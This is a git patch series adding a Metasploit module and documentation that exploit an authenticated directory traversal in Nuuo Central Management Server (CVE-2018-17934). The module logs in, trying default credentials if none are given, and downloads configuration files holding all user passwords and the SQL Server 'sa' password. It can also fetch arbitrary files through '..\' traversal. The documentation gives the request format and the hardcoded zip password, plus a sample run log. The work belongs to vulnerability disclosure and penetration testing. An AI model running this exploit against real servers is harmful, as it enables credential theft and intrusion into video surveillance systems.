From d0861811c2cf68d4391cdc29fa017ee88a8e21a2 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 17:17:36 +0700 Subject: [PATCH 01/13] Add files via upload --- .../gather/nuuo_cms_file_download.rb | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 modules/auxiliary/gather/nuuo_cms_file_download.rb diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb new file mode 100644 index 000000000000..c23c22fd3883 --- /dev/null +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# The following versions were tested: +# - 1.5.2 OK +# - 2.1.0 OK +# - 2.3.2 OK +# - 2.4.0 OK +# - 2.6.0 OK +# - 2.9.0 OK +# - 2.10.0 OK +# - 3.1 OK +# - 3.3 OK +# - 3.5 OK +# +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Nuuo + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nuuo Central Management Server Authenticated Arbitrary File Download', + 'Description' => %q{ + The Nuuo Central Management Server allows an authenticated user to download files from the + installation folder. This functionality can be abused to obtain administrative credentials, + the SQL Server database password and arbitrary files off the system with directory traversal. + The module will attempt to download CMServer.cfg (the user configuration file with all the user + passwords including the admin one), ServerConfig.cfg (the server configuration file with the + SQL Server password) and a third file if the FILE argument is provided by the user. + The two .cfg files are zip-encrypted files, but due to limitations of the Ruby ZIP modules + included in Metasploit, these files cannot be decrypted programmatically. The user will + have to open them with zip or a similar program and provide the default password "NUCMS2007!". + This module will either use a provided session number (which can be guessed with an auxiliary + module) or attempt to login using a provided username and password - it will also try the + default credentials if nothing is provided. + All versions of CMS server up to and including 3.5 are vulnerable to this attack. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2018-17934' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], + [ 'URL', 'FULLDISC_URL_TODO' ], + [ 'URL', 'GITHUB_URL_TODO' ] + + ], + 'Platform' => ['win'], + 'Privileged' => true, + 'DisclosureDate' => 'Oct 11 2018')) + + register_options( + [ + OptString.new('FILE', [false, 'Additional file to download, use ..\\ to traverse directories from \ + the CMS install folder']) + ]) + end + + + def run + login + + if @session == nil + fail_with(Failure::Unknown, "#{peer} - Failed to login to Nuuo CMS") + end + + cmserver = download_file('CMServer.cfg', true) + # Once zip extraction is working change application/zip to text/plain + path = store_loot("CMServer.cfg", "application/zip", datastore['RHOST'], + cmserver, 'CMServer.cfg', "Nuuo CMS user configuration file") + print_good("#{peer} - Downloaded Nuuo CMS user configuration file to #{path}") + + serverconfig = download_file('ServerConfig.cfg', true) + # Once zip extraction is working change application/zip to text/plain + path = store_loot("ServerConfig.cfg", "application/zip", datastore['RHOST'], + serverconfig, 'ServerConfig.cfg', "Nuuo CMS server configuration file") + print_good("#{peer} - Downloaded Nuuo CMS server configuration file to #{path}") + + # note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed + # see the download_file method for details + print_status("#{peer} - The user and server configuration files were stored in the loot database.") + print_status("#{peer} - The files are ZIP encrypted, and due to the lack of the archive/zip gem, \ +they cannot be decrypted in Metasploit.") + print_status("#{peer} - You will need to open them up with zip or a similar utility, and use the \ +password NUCMS2007! to unzip them.") + print_status("#{peer} - Annoy the Metasploit developers until this gets fixed!") + + if datastore['FILE'] != nil + filedata = download_file(datastore['FILE']) + filename = datastore['FILE'].gsub('..\\', '') + path = store_loot(filename, "application/octet-stream", datastore['RHOST'], + filedata, filename, "File downloaded from Nuuo CMS server") + print_good("#{peer} - Downloaded #{filename} to #{path}") + end + end +end From 27cac0a9fec5d11cbfd4bfe3049300b3b425b6f7 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 18:10:19 +0700 Subject: [PATCH 02/13] Update nuuo_cms_file_download.rb --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index c23c22fd3883..e4f8f5b3ef91 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -3,18 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# The following versions were tested: -# - 1.5.2 OK -# - 2.1.0 OK -# - 2.3.2 OK -# - 2.4.0 OK -# - 2.6.0 OK -# - 2.9.0 OK -# - 2.10.0 OK -# - 3.1 OK -# - 3.3 OK -# - 3.5 OK -# class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Nuuo From 8ed831470cd96a14e54bd966254a842513a0af22 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 18:10:45 +0700 Subject: [PATCH 03/13] Create nuuo_cms_file_download.md --- .../gather/nuuo_cms_file_download.md | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/nuuo_cms_file_download.md diff --git a/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md new file mode 100644 index 000000000000..072ef6937670 --- /dev/null +++ b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md @@ -0,0 +1,37 @@ +## Nuuo CMS Authenticated Arbitrary File Download + +The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below: + +GETCONFIG NUCM/1.0 +FileName: +FileType: +User-Session-No: + +The FileType determines the directory where the file will be downloaded from. "FileType: 0" will download from the base installation directory (CMS_DIR), while "FileType: 1" will download from "\Images\Map\". There are other defined FileType integers, but these have not been investigated in detail. + +The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to obtain any files off the file system, including: +- CMServer.cfg, a file zipped with the password "NUCMS2007!" that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator's password) +- ServerConfig.cfg, another file zipped with the password "NUCMS2007!" that contains the SQL Server "sa" password as well the FTP server username and password +- Any other sensitive files in the drive where CMS Server is installed. + +This module works in the following way: +- if a SESSION number is present, uses that to login +- if not, tries to authenticate with USERNAME and PASSWORD + +Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf. + +## The following versions were tested: + - 1.5.2 OK + - 2.1.0 OK + - 2.3.2 OK + - 2.4.0 OK + - 2.6.0 OK + - 2.9.0 OK + - 2.10.0 OK + - 3.1 OK + - 3.3 OK + - 3.5 OK + +## References +- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02 +- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt From 636461c363d71e369e61f01accfea165887af6d7 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 12:10:08 +0700 Subject: [PATCH 04/13] remove peer --- .../auxiliary/gather/nuuo_cms_file_download.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index e4f8f5b3ef91..c60b1362e05a 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -55,36 +55,36 @@ def run login if @session == nil - fail_with(Failure::Unknown, "#{peer} - Failed to login to Nuuo CMS") + fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") end cmserver = download_file('CMServer.cfg', true) # Once zip extraction is working change application/zip to text/plain path = store_loot("CMServer.cfg", "application/zip", datastore['RHOST'], cmserver, 'CMServer.cfg', "Nuuo CMS user configuration file") - print_good("#{peer} - Downloaded Nuuo CMS user configuration file to #{path}") + print_good("Downloaded Nuuo CMS user configuration file to #{path}") serverconfig = download_file('ServerConfig.cfg', true) # Once zip extraction is working change application/zip to text/plain path = store_loot("ServerConfig.cfg", "application/zip", datastore['RHOST'], serverconfig, 'ServerConfig.cfg', "Nuuo CMS server configuration file") - print_good("#{peer} - Downloaded Nuuo CMS server configuration file to #{path}") + print_good("Downloaded Nuuo CMS server configuration file to #{path}") # note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed # see the download_file method for details - print_status("#{peer} - The user and server configuration files were stored in the loot database.") - print_status("#{peer} - The files are ZIP encrypted, and due to the lack of the archive/zip gem, \ + print_status("The user and server configuration files were stored in the loot database.") + print_status("The files are ZIP encrypted, and due to the lack of the archive/zip gem, \ they cannot be decrypted in Metasploit.") - print_status("#{peer} - You will need to open them up with zip or a similar utility, and use the \ + print_status("You will need to open them up with zip or a similar utility, and use the \ password NUCMS2007! to unzip them.") - print_status("#{peer} - Annoy the Metasploit developers until this gets fixed!") + print_status("Annoy the Metasploit developers until this gets fixed!") if datastore['FILE'] != nil filedata = download_file(datastore['FILE']) filename = datastore['FILE'].gsub('..\\', '') path = store_loot(filename, "application/octet-stream", datastore['RHOST'], filedata, filename, "File downloaded from Nuuo CMS server") - print_good("#{peer} - Downloaded #{filename} to #{path}") + print_good("Downloaded #{filename} to #{path}") end end end From fa4c6896d2405b33b639fa9931616cf443c8fc30 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 12:49:20 +0700 Subject: [PATCH 05/13] Update nuuo_cms_file_download.rb --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index c60b1362e05a..a2cf68f9f665 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -39,8 +39,8 @@ def initialize(info = {}) [ 'URL', 'GITHUB_URL_TODO' ] ], - 'Platform' => ['win'], - 'Privileged' => true, + 'Platform' => ['win'], + 'Privileged' => true, 'DisclosureDate' => 'Oct 11 2018')) register_options( @@ -52,19 +52,19 @@ def initialize(info = {}) def run - login + nucs_login - if @session == nil + if @nucs_session == nil fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") end - cmserver = download_file('CMServer.cfg', true) + cmserver = nucs_download_file('CMServer.cfg', true) # Once zip extraction is working change application/zip to text/plain path = store_loot("CMServer.cfg", "application/zip", datastore['RHOST'], cmserver, 'CMServer.cfg', "Nuuo CMS user configuration file") print_good("Downloaded Nuuo CMS user configuration file to #{path}") - serverconfig = download_file('ServerConfig.cfg', true) + serverconfig = nucs_download_file('ServerConfig.cfg', true) # Once zip extraction is working change application/zip to text/plain path = store_loot("ServerConfig.cfg", "application/zip", datastore['RHOST'], serverconfig, 'ServerConfig.cfg', "Nuuo CMS server configuration file") @@ -80,7 +80,7 @@ def run print_status("Annoy the Metasploit developers until this gets fixed!") if datastore['FILE'] != nil - filedata = download_file(datastore['FILE']) + filedata = nucs_download_file(datastore['FILE']) filename = datastore['FILE'].gsub('..\\', '') path = store_loot(filename, "application/octet-stream", datastore['RHOST'], filedata, filename, "File downloaded from Nuuo CMS server") From d45f38c88fdf3626fb63fc72bc64a793d1638b3f Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 22 Jan 2019 18:55:02 +0700 Subject: [PATCH 06/13] Update modules/auxiliary/gather/nuuo_cms_file_download.rb Co-Authored-By: pedrib --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index a2cf68f9f665..fde7d15997e0 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From f6fc8a750d0a38f66a7b331c10c79f63d9d2bc45 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 22 Jan 2019 18:55:09 +0700 Subject: [PATCH 07/13] Update modules/auxiliary/gather/nuuo_cms_file_download.rb Co-Authored-By: pedrib --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index fde7d15997e0..159e388def32 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -55,7 +55,7 @@ def run nucs_login if @nucs_session == nil - fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") + fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS") end cmserver = nucs_download_file('CMServer.cfg', true) From a099418bb8ae753bce1073d885c84f477a067a84 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 19:00:26 +0700 Subject: [PATCH 08/13] Update nuuo_cms_file_download.rb --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 159e388def32..6a3d39524b99 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -79,7 +79,7 @@ def run password NUCMS2007! to unzip them.") print_status("Annoy the Metasploit developers until this gets fixed!") - if datastore['FILE'] != nil + if not datastore['FILE'].empty? filedata = nucs_download_file(datastore['FILE']) filename = datastore['FILE'].gsub('..\\', '') path = store_loot(filename, "application/octet-stream", datastore['RHOST'], From 7e592bb8a9f626e29382c2d1f23cce09b262b85b Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 24 Jan 2019 22:00:41 +0700 Subject: [PATCH 09/13] Add github and full disc URL --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 6a3d39524b99..ae1fff0ee876 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -35,8 +35,8 @@ def initialize(info = {}) [ [ 'CVE', '2018-17934' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], - [ 'URL', 'FULLDISC_URL_TODO' ], - [ 'URL', 'GITHUB_URL_TODO' ] + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ] ], 'Platform' => ['win'], From bb9f50c77174a794ca4ab2c6830f8bb14b794e56 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 24 Jan 2019 22:04:01 +0700 Subject: [PATCH 10/13] Reverted FILE changes --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index ae1fff0ee876..8272727578ce 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -79,7 +79,7 @@ def run password NUCMS2007! to unzip them.") print_status("Annoy the Metasploit developers until this gets fixed!") - if not datastore['FILE'].empty? + if datastore['FILE'] != nil filedata = nucs_download_file(datastore['FILE']) filename = datastore['FILE'].gsub('..\\', '') path = store_loot(filename, "application/octet-stream", datastore['RHOST'], From a0f63629b836c1ee2ee1e324ba3961d5670af47b Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 30 Jan 2019 21:56:11 +0700 Subject: [PATCH 11/13] Check if we actually downloaded a file --- modules/auxiliary/gather/nuuo_cms_file_download.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 8272727578ce..4f68127d3468 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -82,9 +82,14 @@ def run if datastore['FILE'] != nil filedata = nucs_download_file(datastore['FILE']) filename = datastore['FILE'].gsub('..\\', '') - path = store_loot(filename, "application/octet-stream", datastore['RHOST'], - filedata, filename, "File downloaded from Nuuo CMS server") - print_good("Downloaded #{filename} to #{path}") + + if filedata != nil and filedata.length > 0 + path = store_loot(filename, "application/octet-stream", datastore['RHOST'], + filedata, filename, "File downloaded from Nuuo CMS server") + print_good("Downloaded #{filename} to #{path}") + else + print_error("Failed to download \"#{filename}\", are you sure it exists?") + end end end end From ce02d98dce25b725cfbb5355c02745a30349def8 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 19 Feb 2019 06:55:00 -0600 Subject: [PATCH 12/13] Minor changes aux:nuuo_cms_file_download --- .../gather/nuuo_cms_file_download.rb | 51 ++++++++----------- 1 file changed, 21 insertions(+), 30 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 4f68127d3468..33f19cfc8d5c 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -50,46 +50,37 @@ def initialize(info = {}) ]) end + def download_file(file_name, ctype='application/zip', decrypt=true) + dl_file = nucs_download_file(file_name, decrypt) + file_name = file_name.gsub('..\\', '') + + path = store_loot(file_name, ctype, datastore['RHOST'], + dl_file, file_name, "Nuuo CMS #{file_name} downloaded") + print_good("Downloaded file to #{path}") + end + def run nucs_login - if @nucs_session == nil - fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS") + unless @nucs_session + fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') end - cmserver = nucs_download_file('CMServer.cfg', true) - # Once zip extraction is working change application/zip to text/plain - path = store_loot("CMServer.cfg", "application/zip", datastore['RHOST'], - cmserver, 'CMServer.cfg', "Nuuo CMS user configuration file") - print_good("Downloaded Nuuo CMS user configuration file to #{path}") - - serverconfig = nucs_download_file('ServerConfig.cfg', true) - # Once zip extraction is working change application/zip to text/plain - path = store_loot("ServerConfig.cfg", "application/zip", datastore['RHOST'], - serverconfig, 'ServerConfig.cfg', "Nuuo CMS server configuration file") - print_good("Downloaded Nuuo CMS server configuration file to #{path}") + download_file('CMServer.cfg') + download_file('ServerConfig.cfg') # note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed # see the download_file method for details - print_status("The user and server configuration files were stored in the loot database.") - print_status("The files are ZIP encrypted, and due to the lack of the archive/zip gem, \ -they cannot be decrypted in Metasploit.") - print_status("You will need to open them up with zip or a similar utility, and use the \ -password NUCMS2007! to unzip them.") - print_status("Annoy the Metasploit developers until this gets fixed!") - - if datastore['FILE'] != nil - filedata = nucs_download_file(datastore['FILE']) - filename = datastore['FILE'].gsub('..\\', '') + print_status('The user and server configuration files were stored in the loot database.') + print_status('The files are ZIP encrypted, and due to the lack of the archive/zip gem,') + print_status('they cannot be decrypted in Metasploit.') + print_status('You will need to open them up with zip or a similar utility, and use the') + print_status('password NUCMS2007! to unzip them.') + print_status('Annoy the Metasploit developers until this gets fixed!') - if filedata != nil and filedata.length > 0 - path = store_loot(filename, "application/octet-stream", datastore['RHOST'], - filedata, filename, "File downloaded from Nuuo CMS server") - print_good("Downloaded #{filename} to #{path}") - else - print_error("Failed to download \"#{filename}\", are you sure it exists?") - end + if datastore['FILE'] + filedata = download_file(datastore['FILE'], 'application/octet-stream', false) end end end From 1ab89a84e6bec1756a9e1a94abae87c0f592daa3 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 19 Feb 2019 12:36:30 -0600 Subject: [PATCH 13/13] Update doc --- .../gather/nuuo_cms_file_download.md | 38 ++++++++++++++++++- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md index 072ef6937670..9a8e9f611d3e 100644 --- a/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md +++ b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md @@ -1,26 +1,37 @@ -## Nuuo CMS Authenticated Arbitrary File Download +## Description + +Nuuo CMS Authenticated Arbitrary File Download The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below: +``` GETCONFIG NUCM/1.0 FileName: FileType: User-Session-No: +``` The FileType determines the directory where the file will be downloaded from. "FileType: 0" will download from the base installation directory (CMS_DIR), while "FileType: 1" will download from "\Images\Map\". There are other defined FileType integers, but these have not been investigated in detail. The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to obtain any files off the file system, including: + - CMServer.cfg, a file zipped with the password "NUCMS2007!" that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator's password) - ServerConfig.cfg, another file zipped with the password "NUCMS2007!" that contains the SQL Server "sa" password as well the FTP server username and password - Any other sensitive files in the drive where CMS Server is installed. This module works in the following way: + - if a SESSION number is present, uses that to login - if not, tries to authenticate with USERNAME and PASSWORD Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf. -## The following versions were tested: +## Vulnerable Application + +[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/) + +The following versions were tested: + - 1.5.2 OK - 2.1.0 OK - 2.3.2 OK @@ -32,6 +43,29 @@ Due to the lack of ZIP encryption support in Metasploit, the module prints a war - 3.3 OK - 3.5 OK +## Scenarios + +### Tested on Windows 10 Pro x64 running NCS Server 2.4.0 + +``` +msf5 auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200 +rhosts => 172.22.222.200 +msf5 auxiliary(gather/nuuo_cms_file_download) > exploit + +[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_CMServer.cfg_227185.cfg +[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_ServerConfig.cfg_050084.cfg +[*] 172.22.222.200:5180 - The user and server configuration files were stored in the loot database. +[*] 172.22.222.200:5180 - The files are ZIP encrypted, and due to the lack of the archive/zip gem, +[*] 172.22.222.200:5180 - they cannot be decrypted in Metasploit. +[*] 172.22.222.200:5180 - You will need to open them up with zip or a similar utility, and use the +[*] 172.22.222.200:5180 - password NUCMS2007! to unzip them. +[*] 172.22.222.200:5180 - Annoy the Metasploit developers until this gets fixed! +[*] Auxiliary module execution completed +msf5 auxiliary(gather/nuuo_cms_file_download) > +``` + ## References + - https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02 + - https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt